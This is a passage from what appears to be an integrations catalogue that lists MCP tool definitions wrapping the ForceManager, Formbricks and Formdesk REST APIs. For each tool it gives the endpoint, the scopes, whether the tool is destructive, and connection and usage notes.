/api/v1/forcemanager/opportunityStatuses/{opportunity_status_id}. Scopes: api. forcemanager_put_opportunitytypes_by_id (write) — Update Opportunity Type via PUT /opportunityTypes/{opportunity_type_id}. This endpoint allows you to update a specific Opportunity Status. If the specified Opportunity Status does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/opportunityTypes/{opportunity_type_id}. Scopes: api. forcemanager_put_ordertypes_by_id (write) — Update Order Types via PUT /orderTypes/{order_type_id}. This endpoint allows you to update a specific Order Types. If the specified Types does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/orderTypes/{order_type_id}. Scopes: api. forcemanager_put_productcategories_by_id (write) — Update Product Category via PUT /productCategories/{product_category_id}. This endpoint allows you to update a specific information of a Product Category. If the specified Type does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/productCategories/{product_category_id}. Scopes: api. forcemanager_put_productfamilies_by_id (write) — Update Product Family via PUT /productFamilies/{product_family_id}. This endpoint allows you to update a specific information of a Product Family. If the specified Type does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/productFamilies/{product_family_id}. Scopes: api. forcemanager_put_productrates_by_id (write) — Update Product Rate via PUT /productRates/{product_rate_id}. This endpoint allows you to update a specific information of a Product Rate. If the specified Type does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/productRates/{product_rate_id}. Scopes: api. forcemanager_put_products_bulk (write) — Bulk Update Products via PUT /products/bulk. This endpoint allows you to update a Multiple Products (100 entities for request) information from the user's ForceManager implementation database. In order to update Multiple Products, you just have to specify the attributes you want to modify and complete with the up to date information. It is not necessary to send all attributes. PUT /api/v1/forcemanager/products/bulk. Scopes: api. forcemanager_put_products_by_id (write) — Update Product via PUT /products/{product_id}. This endpoint allows you to update specific information of a Product from the user's ForceManager implementation database. If the specified Product does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/products/{product_id}. Scopes: api. forcemanager_put_rates_by_id (write) — Update Rate via PUT /rates/{rate_id}. This endpoint allows you to update specific information of a Rate. If the specified Rate does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/rates/{rate_id}. Scopes: api. forcemanager_put_resource_bulk (write) — Bulk Update Resources via PUT /{resource}/bulk. This endpoint allows you to update a multiple Resources (200 entities for request) information from the user's ForceManager implementation database. In order to update multiple Resources, you just have to specify the attributes you want to modify and complete with the up to date information. It is not necessary to send all attributes. `resource` is the entity name in the first path segment; the vendor documents Accounts, Contacts, Opportunities, Orders and Value Lists are the examples the vendor gives ('e.g.'), so the list is not exhaustive. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. PUT /api/v1/forcemanager/{resource}/bulk. Scopes: api. forcemanager_put_resource_warnings_by_id (write) — Update Warning of a Resource via PUT /{resource}/{resource_id}/warnings/{warning_id}. This endpoint allows you to update a Warning in the specific Resource (accounts, opportunities, products, salesorders) based on JSON input.
`resource` is the entity name in the first path segment; the vendor documents `accounts`, `opportunities`, `products`, `salesorders`. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. PUT /api/v1/forcemanager/{resource}/{resource_id}/warnings/{warning_id}. Scopes: api. forcemanager_put_sales_by_id (write) — Update Sale via PUT /sales/{sale_id}. The endpoint allows you to update a specific Sale information from the user's ForceManager implementation database. If the specified Contact does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/sales/{sale_id}. Scopes: api. forcemanager_put_salesorders_by_id (write) — Update Order Header via PUT /salesorders/{order_id}. This endpoint allows you to update a specific Order Header. If the specified Header does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/salesorders/{order_id}. Scopes: api. forcemanager_put_salesorderslines_by_id (write) — Update Order Line via PUT /salesordersLines/{order_line_id}. This endpoint allows you to update a specific Order Line. If the specified Line does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/salesordersLines/{order_line_id}. Scopes: api. forcemanager_put_salesorderstatuses_by_id (write) — Update Order Status via PUT /salesorderStatuses/{order_status_id}. This endpoint allows you to update a specific Order Status. If the specified Status does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/salesorderStatuses/{order_status_id}. Scopes: api. forcemanager_put_users_by_id (write) — Update User via PUT /users/{user_id}. This endpoint allows you to update a specific User. If the specified User does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/users/{user_id}. Scopes: api. forcemanager_put_users_by_id_roles (write) — Add Roles in User via PUT /users/{user_id}/roles. This endpoint allows you to update a specific User's Roles information from the user's ForceManager account database. If the specified User does not exist, the response will be a "bad request". In order to update the User's Roles, you just have to specify the Role you want to add at. PUT /api/v1/forcemanager/users/{user_id}/roles. Scopes: api. forcemanager_put_usertypes_by_id (write) — Update User Type via PUT /userTypes/{user_type_id}. This endpoint allows you to update a specific User Type. If the specified User Type does not exist, the response will be a "bad request". PUT /api/v1/forcemanager/userTypes/{user_type_id}. Scopes: api. ================================================================================ ## Formbricks URL: https://www.agenticfabriq.com/integrations/formbricks Section: Integrated Tools Formbricks — 88 MCP tools Provider key: formbricks. Scopes: feedbackRecords:read, feedbackRecords:write, organization:read, organization:write, surveys:read, surveys:write, workflows:read, workflows:write, workspace:manage, workspace:read, workspace:write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. formbricks_delete_api_v1_management_action_classes_by_actionclassid (write, destructive) — Deletes an existing action class. Formbricks DELETE /api/v1/management/action-classes/{actionClassId} (v1). DELETE /api/v1/formbricks/v1/management/action-classes/{actionClassId}. Scopes: workspace:manage. formbricks_delete_api_v1_management_responses_by_responseid (write, destructive) — Delete a response with its ID. Formbricks DELETE /api/v1/management/responses/{responseId} (v1). DELETE /api/v1/formbricks/v1/management/responses/{responseId}. Scopes: workspace:manage. formbricks_delete_api_v1_management_surveys_by_surveyid (write, destructive) — Delete a Survey by its ID. Please use this only when extrememly necessary. Formbricks DELETE /api/v1/management/surveys/{surveyId} (v1). DELETE /api/v1/formbricks/v1/management/surveys/{surveyId}. Scopes: workspace:manage. formbricks_delete_api_v1_webhooks_by_webhookid (write, destructive) — Delete an existing webhook by provifding it's ID. It will immediately apply and not trigger again. Formbricks DELETE /api/v1/webhooks/{webhookId} (v1). DELETE /api/v1/formbricks/v1/webhooks/{webhookId}. Scopes: workspace:manage. formbricks_delete_management_contact_attribute_keys_by_id (write, destructive) — Deletes a contact attribute key from the database. Formbricks DELETE /api/v2/management/contact-attribute-keys/{id} (v2). DELETE /api/v1/formbricks/v2/management/contact-attribute-keys/{id}. Scopes: workspace:manage. formbricks_delete_management_responses_by_id (write, destructive) — Deletes a response from the database. Formbricks DELETE /api/v2/management/responses/{id} (v2). DELETE /api/v1/formbricks/v2/management/responses/{id}. Scopes: workspace:manage. formbricks_delete_management_webhooks_by_id (write, destructive) — Deletes a webhook from the database. Note - Environments are deprecated. Use Workspace/workspaceId terminology. Formbricks DELETE /api/v2/management/webhooks/{id} (v2). DELETE /api/v1/formbricks/v2/management/webhooks/{id}. Scopes: workspace:manage. formbricks_delete_organizations_by_organizationid_teams_by_id (write, destructive) — Deletes a team from the database. Formbricks DELETE /api/v2/organizations/{organizationId}/teams/{id} (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. DELETE /api/v1/formbricks/v2/organizations/{organizationId}/teams/{id}. Scopes: organization:write. formbricks_delete_organizations_by_organizationid_workspace_teams (write, destructive) — Deletes a Workspace team from the database. Formbricks DELETE /api/v2/organizations/{organizationId}/workspace-teams (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. DELETE /api/v1/formbricks/v2/organizations/{organizationId}/workspace-teams. Scopes: organization:write. formbricks_get_api_v1_management_action_classes (read) — Fetches all the action classes available in the workspace. Formbricks GET /api/v1/management/action-classes (v1). GET /api/v1/formbricks/v1/management/action-classes. Scopes: workspace:read. formbricks_get_api_v1_management_action_classes_by_actionclassid (read) — Fetch an Action Class by it's ID. Formbricks GET /api/v1/management/action-classes/{actionClassId} (v1). GET /api/v1/formbricks/v1/management/action-classes/{actionClassId}. Scopes: workspace:read. formbricks_get_api_v1_management_contact_attribute_keys (read) — Retrieve a list of all contact attribute keys defined in the current workspace. Formbricks GET /api/v1/management/contact-attribute-keys (v1). GET /api/v1/formbricks/v1/management/contact-attribute-keys. Scopes: workspace:read. formbricks_get_api_v1_management_contact_attribute_keys_by_contactattributekeyid (read) — Retrieve a specific contact attribute key by its ID. This returns detailed information about how a particular attribute is defined in your workspace. Formbricks GET /api/v1/management/contact-attribute-keys/{contactAttributeKeyId} (v1). GET /api/v1/formbricks/v1/management/contact-attribute-keys/{contactAttributeKeyId}. Scopes: workspace:read. formbricks_get_api_v1_management_contact_attributes (read) — Retrieve a list of all contact attributes in the current workspace. Formbricks GET /api/v1/management/contact-attributes (v1). GET /api/v1/formbricks/v1/management/contact-attributes. Scopes: workspace:read. formbricks_get_api_v1_management_contacts (read) — Retrieve a list of all contacts for the current workspace. Formbricks GET /api/v1/management/contacts (v1). GET /api/v1/formbricks/v1/management/contacts. Scopes: workspace:read. formbricks_get_api_v1_management_contacts_by_contactid (read) — Retrieve a specific contact by its ID. Formbricks GET /api/v1/management/contacts/{contactId} (v1). GET /api/v1/formbricks/v1/management/contacts/{contactId}. Scopes: workspace:read. formbricks_get_api_v1_management_me (read) — Fetches the product associated with the passed API key. Formbricks GET /api/v1/management/me (v1). GET /api/v1/formbricks/v1/management/me. Scopes: workspace:read. formbricks_get_api_v1_management_responses (read) — Pass the surveyId as a Query Parameter & only fetch responses for a specific survey that you have access to. Formbricks GET /api/v1/management/responses (v1). GET /api/v1/formbricks/v1/management/responses. Scopes: workspace:read. formbricks_get_api_v1_management_responses_by_responseid (read) — Fetch the entire response object based on its ID. Formbricks GET /api/v1/management/responses/{responseId} (v1). GET /api/v1/formbricks/v1/management/responses/{responseId}. Scopes: workspace:read. formbricks_get_api_v1_management_surveys (read) — Fetches all existing surveys. Each survey includes both `questions` (the legacy structure) and `blocks` (the newer structure). `questions` is always derived from `blocks` for backwards compatibility, so integrations may read either field. Formbricks GET /api/v1/management/surveys (v1). GET /api/v1/formbricks/v1/management/surveys. Scopes: workspace:read. formbricks_get_api_v1_management_surveys_by_surveyid (read) — Fetch a survey object based on its ID. The response includes both `questions` (the legacy structure) and `blocks` (the newer structure). `questions` is always derived from `blocks` for backwards compatibility, so integrations may read either field. Formbricks GET /api/v1/management/surveys/{surveyId} (v1). GET /api/v1/formbricks/v1/management/surveys/{surveyId}. Scopes: workspace:read. formbricks_get_api_v1_management_surveys_by_surveyid_singleuseids (read) — Generates multiple single use survey links for a survey based on its id. Formbricks GET /api/v1/management/surveys/{surveyId}/singleUseIds (v1). GET /api/v1/formbricks/v1/management/surveys/{surveyId}/singleUseIds. Scopes: workspace:read. formbricks_get_api_v1_webhooks (read) — Retrieve a list of all webhooks for the current workspace. Formbricks GET /api/v1/webhooks (v1). GET /api/v1/formbricks/v1/webhooks. Scopes: workspace:read. formbricks_get_api_v1_webhooks_by_webhookid (read) — Get a specific webhook object based on its ID. Formbricks GET /api/v1/webhooks/{webhookId} (v1). GET /api/v1/formbricks/v1/webhooks/{webhookId}. Scopes: workspace:read. formbricks_get_health (read) — Formbricks' Health Check endpoint to make sure the App & the Database are connected with each other & up!. Formbricks GET /health (v1). GET /api/v1/formbricks/health. Scopes: workspace:read. formbricks_get_management_contact_attribute_keys (read) — Gets contact attribute keys from the database. Note - Environments are deprecated. Use Workspace/workspaceId terminology. Formbricks GET /api/v2/management/contact-attribute-keys (v2). GET /api/v1/formbricks/v2/management/contact-attribute-keys. Scopes: workspace:read. formbricks_get_management_contact_attribute_keys_by_id (read) — Gets a contact attribute key from the database. Formbricks GET /api/v2/management/contact-attribute-keys/{id} (v2). GET /api/v1/formbricks/v2/management/contact-attribute-keys/{id}. Scopes: workspace:read. formbricks_get_management_responses (read) — Gets responses from the database. Formbricks GET /api/v2/management/responses (v2). GET /api/v1/formbricks/v2/management/responses. Scopes: workspace:read. formbricks_get_management_responses_by_id (read) — Gets a response from the database. Formbricks GET /api/v2/management/responses/{id} (v2). GET /api/v1/formbricks/v2/management/responses/{id}. Scopes: workspace:read. formbricks_get_management_surveys_by_surveyid_contact_links_contacts_by_contactid (read) — Retrieves a personalized link for a specific survey. Formbricks GET /api/v2/management/surveys/{surveyId}/contact-links/contacts/{contactId} (v2). GET /api/v1/formbricks/v2/management/surveys/{surveyId}/contact-links/contacts/{contactId}. Scopes: workspace:read. formbricks_get_management_surveys_by_surveyid_contact_links_segments_by_segmentid (read) — Generates personalized survey links for contacts in a segment. Formbricks GET /api/v2/management/surveys/{surveyId}/contact-links/segments/{segmentId} (v2). GET /api/v1/formbricks/v2/management/surveys/{surveyId}/contact-links/segments/{segmentId}. Scopes: workspace:read. formbricks_get_management_webhooks (read) — Gets webhooks from the database. Note - Environments are deprecated. Use Workspace/workspaceId terminology. Formbricks GET /api/v2/management/webhooks (v2). GET /api/v1/formbricks/v2/management/webhooks. Scopes: workspace:read. formbricks_get_management_webhooks_by_id (read) — Gets a webhook from the database. Note - Environments are deprecated. Use Workspace/workspaceId terminology. Formbricks GET /api/v2/management/webhooks/{id} (v2). GET /api/v1/formbricks/v2/management/webhooks/{id}. Scopes: workspace:read. formbricks_get_me (read) — Fetches the Workspaces and organizations associated with the API key. Formbricks GET /api/v2/me (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. GET /api/v1/formbricks/v2/me. Scopes: organization:read. formbricks_get_organizations_by_organizationid_teams (read) — Gets teams from the database. Formbricks GET /api/v2/organizations/{organizationId}/teams (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. GET /api/v1/formbricks/v2/organizations/{organizationId}/teams. Scopes: organization:read. formbricks_get_organizations_by_organizationid_teams_by_id (read) — Gets a team from the database. Formbricks GET /api/v2/organizations/{organizationId}/teams/{id} (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. GET /api/v1/formbricks/v2/organizations/{organizationId}/teams/{id}. Scopes: organization:read. formbricks_get_organizations_by_organizationid_users (read) — Gets users from the database.
Only available for self-hosted Formbricks. Formbricks GET /api/v2/organizations/{organizationId}/users (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. GET /api/v1/formbricks/v2/organizations/{organizationId}/users. Scopes: organization:read. formbricks_get_organizations_by_organizationid_workspace_teams (read) — Gets workspace teams from the database. Formbricks GET /api/v2/organizations/{organizationId}/workspace-teams (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. GET /api/v1/formbricks/v2/organizations/{organizationId}/workspace-teams. Scopes: organization:read. formbricks_get_roles (read) — Gets roles from the database. Formbricks GET /api/v2/roles (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. GET /api/v1/formbricks/v2/roles. Scopes: organization:read. formbricks_mcp_archive_workflow (write, destructive) — Archive a Formbricks workflow. Archiving soft-deletes it and excludes it from default reads; unarchive_workflow restores it to draft. POST /api/v1/formbricks/mcp/archive_workflow. Scopes: workflows:write. formbricks_mcp_count_feedback_records (read) — Count the feedback records matching a set of filters, without fetching them — use this for 'how many' questions instead of paging through records. Takes exactly the same filters as list_feedback_records, with the same OR-within-a-filter and AND-across-filters rules. Ordering and pagination do not apply and are REJECTED. Returns only the total and the dataset it came from, never record content. POST /api/v1/formbricks/mcp/count_feedback_records. Scopes: feedbackRecords:read. formbricks_mcp_create_feedback_record (write) — Create a feedback record in a workspace's feedback dataset. The dataset is resolved from workspaceId, or from datasetId when the workspace has more than one; it can never be set through the record body. submission_id is optional — a UUID is generated when it is omitted. Send the value_* field the record's field_type accepts; Formbricks validates the combination and the required set. POST /api/v1/formbricks/mcp/create_feedback_record. Scopes: feedbackRecords:write. formbricks_mcp_create_feedback_records (write) — Create between 1 and 50 feedback records in one call — the batch form, for imports. Every record is validated before any is written, so an invalid record fails the whole call rather than storing part of the batch; if the feedback service rejects some, the created ones are returned and meta.failures lists the rest by index. POST /api/v1/formbricks/mcp/create_feedback_records. Scopes: feedbackRecords:write. formbricks_mcp_create_survey (write) — Create a Formbricks LINK survey using the v3 Surveys API contract. In-app surveys and distribution settings are not part of the v3 create operation. blocks, metadata, welcomeCard, endings, hiddenFields and variables follow the v3 survey document contract, which validates them server-side. POST /api/v1/formbricks/mcp/create_survey. Scopes: surveys:write. formbricks_mcp_create_workflow (write) — Create a Formbricks workflow, ALWAYS as a draft — only enable_workflow makes one live. Takes the full v3 create payload: a complete definition with a schemaVersion, a trigger and an entry node. Everything below definition is open at the provider (ENG-2437), so a misspelled key inside a trigger, node or edge is DROPPED rather than rejected: treat the result as confirming only what it echoes back. POST /api/v1/formbricks/mcp/create_workflow. Scopes: workflows:write. formbricks_mcp_delete_feedback_record (write, destructive) — Permanently delete ONE feedback record from a workspace's feedback dataset. This cannot be undone: the record and its search embedding are removed and no copy is kept — the audit log entry is the only remaining trace. There is no bulk delete. POST /api/v1/formbricks/mcp/delete_feedback_record. Scopes: feedbackRecords:write. formbricks_mcp_delete_survey (write, destructive) — Delete a Formbricks survey using the v3 Surveys API contract. The v3 delete answers 204 No Content; the tool result carries the requestId so the audit trail can be correlated. POST /api/v1/formbricks/mcp/delete_survey. Scopes: surveys:write. formbricks_mcp_delete_workflow (write, destructive) — Delete a Formbricks workflow using the v3 Workflows API contract. The v3 delete answers 204 No Content; the tool result carries the requestId. POST /api/v1/formbricks/mcp/delete_workflow. Scopes: workflows:write. formbricks_mcp_disable_workflow (write) — Disable a live Formbricks workflow, stopping future runs, using the v3 Workflows API contract. POST /api/v1/formbricks/mcp/disable_workflow. Scopes: workflows:write. formbricks_mcp_duplicate_workflow (write) — Duplicate a Formbricks workflow as a new DRAFT with empty run and version history, using the v3 Workflows API contract. POST /api/v1/formbricks/mcp/duplicate_workflow. Scopes: workflows:write. formbricks_mcp_enable_workflow (write, destructive) — Enable a Formbricks workflow: validate executability, snapshot an immutable version and make it LIVE. Once live it runs on matching survey responses and CAN SEND EMAIL. A non-executable definition is refused with 422 workflow_not_executable. POST /api/v1/formbricks/mcp/enable_workflow. Scopes: workflows:write. formbricks_mcp_find_similar_feedback_records (read) — Find the feedback records most similar to a given one, by embedding distance — how widely a piece of feedback is echoed. Scored matches, best first, excluding the anchor. A record with no embedding answers 409 rather than an empty result and says which case it is: worth retrying while it is still being embedded, not worth retrying for a record with no text. POST /api/v1/formbricks/mcp/find_similar_feedback_records. Scopes: feedbackRecords:read. formbricks_mcp_get_feedback_record (read) — Get one feedback record by its Hub UUID from a workspace's feedback dataset. A record in another tenant answers a generic authorization error rather than revealing whether the id exists. POST /api/v1/formbricks/mcp/get_feedback_record. Scopes: feedbackRecords:read. formbricks_mcp_get_survey (read) — Get one Formbricks survey using the v3 Surveys API contract. POST /api/v1/formbricks/mcp/get_survey. Scopes: surveys:read. formbricks_mcp_get_workflow (read) — Get one Formbricks workflow using the v3 Workflows API contract. An unknown or cross-workspace id answers 403, never 404, so existence is not leaked. POST /api/v1/formbricks/mcp/get_workflow. Scopes: workflows:read. formbricks_mcp_get_workflow_run (read) — Get one Formbricks workflow run with its ordered step logs using the v3 Workflows API contract. POST /api/v1/formbricks/mcp/get_workflow_run. Scopes: workflows:read. formbricks_mcp_list_feedback_datasets (read) — List the active feedback datasets assigned to a Formbricks workspace. Use the returned id as datasetId for the other feedback-record tools. Needs the feedbackDirectories Enterprise entitlement; without it the provider answers 403 or 422. POST /api/v1/formbricks/mcp/list_feedback_datasets. Scopes: feedbackRecords:read. formbricks_mcp_list_feedback_records (read) — List feedback records for a workspace's feedback dataset, with cursor pagination and optional filters. Repeating one filter ORs its values; different filters are AND-ed, and there is no way to OR across filters. Range filters are inclusive and EXCLUDE records whose column is empty, so value_number_min: 0 drops every text answer — use has_sentiment: false to find records enrichment has not reached. POST /api/v1/formbricks/mcp/list_feedback_records. Scopes: feedbackRecords:read. formbricks_mcp_list_surveys (read) — List surveys in a Formbricks workspace using the v3 Surveys API contract. Cursor-paginated; filter by name substring, status (for example draft or inProgress) and type (for example link). POST /api/v1/formbricks/mcp/list_surveys. Scopes: surveys:read. formbricks_mcp_list_workflow_runs (read) — List workflow runs for a Formbricks workspace, newest first, using the v3 Workflows API contract. Only workspaceId is required; omit filter.isDryRun to return both real and dry runs. POST /api/v1/formbricks/mcp/list_workflow_runs. Scopes: workflows:read. formbricks_mcp_list_workflows (read) — List workflows in a Formbricks workspace using the v3 Workflows API contract. Omitting filter.status.in returns every status except archived. POST /api/v1/formbricks/mcp/list_workflows. Scopes: workflows:read. formbricks_mcp_list_workspaces (read) — List the Formbricks workspaces this connection can access. The workspaceId-discovery prerequisite for the survey, workflow and feedback-record tools. Takes NO arguments — Formbricks rejects a call that pads them. Formbricks admits this tool on ANY resource read scope, so it requires none here; it still runs only on the sign-in connection, because it is an MCP tool and the API key never reaches the MCP server. POST /api/v1/formbricks/mcp/list_workspaces. Scopes: none. formbricks_mcp_patch_survey (write, destructive) — Update a Formbricks survey using the v3 Surveys API patch contract. Omitted top-level fields are preserved; PROVIDED top-level arrays and objects REPLACE that whole subtree, so omitted nested entries inside a provided subtree are removed. No deep merge and no JSON Patch. Fetch the survey and run validate_survey with operation: patch first. POST /api/v1/formbricks/mcp/patch_survey. Scopes: surveys:write. formbricks_mcp_patch_workflow (write, destructive) — Update a Formbricks workflow using the v3 Workflows API patch contract: top-level partial merge, no deep merge. Provided top-level fields replace that whole subtree, and definition edits are only accepted while the workflow is draft or disabled. POST /api/v1/formbricks/mcp/patch_workflow. Scopes: workflows:write. formbricks_mcp_search_feedback_records (read) — Search a workspace's feedback dataset by MEANING rather than keywords: the query is embedded and compared to record embeddings, so 'checkout is confusing' also matches 'I couldn't figure out how to pay'. Returns scored matches, best first — record ids with the matched text, not full records. Only records with text are searchable and embedding is asynchronous, so a record created moments ago may not appear. POST /api/v1/formbricks/mcp/search_feedback_records. Scopes: feedbackRecords:read. formbricks_mcp_test_workflow (read) — Dry-run a Formbricks workflow: validate its live definition would execute, resolve the trigger's survey and ending cards, and confirm every literal send_email recipient is an organization member. No run is persisted and no side effects occur; the response reports { ok, problems }. Drafts ARE testable; only archived workflows are rejected, with 422. POST /api/v1/formbricks/mcp/test_workflow. Scopes: workflows:read. formbricks_mcp_unarchive_workflow (write) — Unarchive a Formbricks workflow, restoring it to draft, using the v3 Workflows API contract. POST /api/v1/formbricks/mcp/unarchive_workflow. Scopes: workflows:write. formbricks_mcp_update_feedback_record (write, destructive) — Correct the value of an existing feedback record. Send ONLY the mutable fields below — this tool REJECTS any other key rather than ignoring it, so do not echo a record back from get_feedback_record; strip its provenance (source_*, field_*, submission_id, collected_at) and its derived sentiment/emotions/translation first. At least one field is required. metadata is REPLACED wholesale. POST /api/v1/formbricks/mcp/update_feedback_record. Scopes: feedbackRecords:write. formbricks_mcp_validate_survey (read) — Validate a v3 survey create or patch payload without writing survey changes. A validation failure answers 200 with valid: false and structured invalid_params rather than an error. POST /api/v1/formbricks/mcp/validate_survey. Scopes: surveys:read. formbricks_post_api_v1_management_action_classes (write) — Create Action Class from the UI or from the API! You can read more about them [here](https://formbricks.com/docs/in-app-surveys/actions). Formbricks POST /api/v1/management/action-classes (v1). POST /api/v1/formbricks/v1/management/action-classes. Scopes: workspace:write. formbricks_post_api_v1_management_responses (write) — Create a user response using the management API. This will trigger the response pipeline, including webhooks, integrations, follow-up emails, and other configured actions. Formbricks POST /api/v1/management/responses (v1). POST /api/v1/formbricks/v1/management/responses. Scopes: workspace:write. formbricks_post_api_v1_management_storage (write) — API endpoint for uploading public files. Uploaded files are public and accessible by anyone. This endpoint requires authentication and enforces a hard limit of 5 MB for all uploads. It accepts a JSON body with fileName, fileType, workspaceId, and optionally allowedFileExtensions to restrict file types. On success, it returns a signed URL for uploading the file to S3. Formbricks POST /api/v1/management/storage (v1). POST /api/v1/formbricks/v1/management/storage. Scopes: workspace:write. formbricks_post_api_v1_management_surveys (write) — Create a survey with granular settings, questions, their types, welcomeCard, thankYouCard, languages, etc right from this API. We'd however recommend you to do this via our Formbricks App with the UI for a better visual experience. Formbricks POST /api/v1/management/surveys (v1). POST /api/v1/formbricks/v1/management/surveys. Scopes: workspace:write. formbricks_post_api_v1_webhooks (write) — Create a new webhook right from the API and see it active right away!. Formbricks POST /api/v1/webhooks (v1). POST /api/v1/formbricks/v1/webhooks. Scopes: workspace:write. formbricks_post_management_contact_attribute_keys (write) — Creates a contact attribute key in the database. Note - Environments are deprecated. Use Workspace/workspaceId terminology. Formbricks POST /api/v2/management/contact-attribute-keys (v2). POST /api/v1/formbricks/v2/management/contact-attribute-keys. Scopes: workspace:write. formbricks_post_management_contacts (write) — Creates a single contact in the database. This endpoint expects a top-level `attributes` object. For bulk uploads, use `PUT /management/contacts/bulk`, which expects `contacts[].attributes[]` instead. Each contact must have a valid email address in the attributes. All attribute keys must already exist in the Workspace. The email is used as the unique identifier along with the Workspace. Formbricks POST /api/v2/management/contacts (v2). POST /api/v1/formbricks/v2/management/contacts. Scopes: workspace:write. formbricks_post_management_responses (write) — Creates a response in the database. This will trigger the response pipeline, including webhooks, integrations, follow-up emails, and other configured actions. Formbricks POST /api/v2/management/responses (v2). POST /api/v1/formbricks/v2/management/responses. Scopes: workspace:write. formbricks_post_management_webhooks (write) — Creates a webhook in the database. Note - Environments are deprecated. Use Workspace/workspaceId terminology. Formbricks POST /api/v2/management/webhooks (v2). POST /api/v1/formbricks/v2/management/webhooks. Scopes: workspace:write. formbricks_post_organizations_by_organizationid_teams (write) — Creates a team in the database. Formbricks POST /api/v2/organizations/{organizationId}/teams (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. POST /api/v1/formbricks/v2/organizations/{organizationId}/teams. Scopes: organization:write. formbricks_post_organizations_by_organizationid_workspace_teams (write) — Creates a Workspace team in the database. Formbricks POST /api/v2/organizations/{organizationId}/workspace-teams (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. POST /api/v1/formbricks/v2/organizations/{organizationId}/workspace-teams. Scopes: organization:write. formbricks_put_api_v1_management_responses_by_responseid (write) — Update an existing user response with new data. This will trigger the response pipeline, including webhooks, integrations, follow-up emails (if the response is marked as finished), and other configured actions. Formbricks PUT /api/v1/management/responses/{responseId} (v1). PUT /api/v1/formbricks/v1/management/responses/{responseId}. Scopes: workspace:write. formbricks_put_api_v1_management_surveys_by_surveyid (write) — Update an existing survey with new properties. This is also what we'd recommend you to do from the UI for a better visual feedback. Formbricks PUT /api/v1/management/surveys/{surveyId} (v1). PUT /api/v1/formbricks/v1/management/surveys/{surveyId}. Scopes: workspace:write. formbricks_put_management_contact_attribute_keys_by_id (write) — Updates a contact attribute key in the database. Formbricks PUT /api/v2/management/contact-attribute-keys/{id} (v2). PUT /api/v1/formbricks/v2/management/contact-attribute-keys/{id}. Scopes: workspace:write. formbricks_put_management_contacts_bulk (write) — Uploads contacts in bulk. This endpoint expects the bulk request shape: `contacts` must be an array, and each contact item must contain an `attributes` array of `{ attributeKey, value }` objects. Unlike `POST /management/contacts`, this endpoint does not accept a top-level `attributes` object. Each contact must include an `email` attribute in its `attributes` array, and that email must be valid. Formbricks PUT /api/v2/management/contacts/bulk (v2). PUT /api/v1/formbricks/v2/management/contacts/bulk. Scopes: workspace:write. formbricks_put_management_responses_by_id (write) — Updates a response in the database. This will trigger the response pipeline, including webhooks, integrations, follow-up emails (if the response is marked as finished), and other configured actions. Formbricks PUT /api/v2/management/responses/{id} (v2). A FULL REPLACE, not a partial update: send every field of the response as Get a response (v2) returns it -- only `id` and `surveyId` may be left out -- and Formbricks answers 422 naming each field that is missing. PUT /api/v1/formbricks/v2/management/responses/{id}. Scopes: workspace:write. formbricks_put_management_webhooks_by_id (write) — Updates a webhook in the database. Note - Environments are deprecated. Use Workspace/workspaceId terminology. Formbricks PUT /api/v2/management/webhooks/{id} (v2). PUT /api/v1/formbricks/v2/management/webhooks/{id}. Scopes: workspace:write. formbricks_put_organizations_by_organizationid_teams_by_id (write) — Updates a team in the database. Formbricks PUT /api/v2/organizations/{organizationId}/teams/{id} (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. PUT /api/v1/formbricks/v2/organizations/{organizationId}/teams/{id}. Scopes: organization:write. formbricks_put_organizations_by_organizationid_workspace_teams (write) — Updates a Workspace team in the database. Formbricks PUT /api/v2/organizations/{organizationId}/workspace-teams (v2). Organization-scoped: the API key needs Organization Access, ticked when the key was created. PUT /api/v1/formbricks/v2/organizations/{organizationId}/workspace-teams. Scopes: organization:write. ================================================================================ ## Formdesk URL: https://www.agenticfabriq.com/integrations/formdesk Section: Integrated Tools Formdesk — 37 MCP tools Provider key: formdesk. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. formdesk_delete_by_domain_files_by_id_file (write, destructive) — Permanently deletes one file by file id. Costs 1 API credit. DELETE /api/v1/formdesk/files/{id_file}. 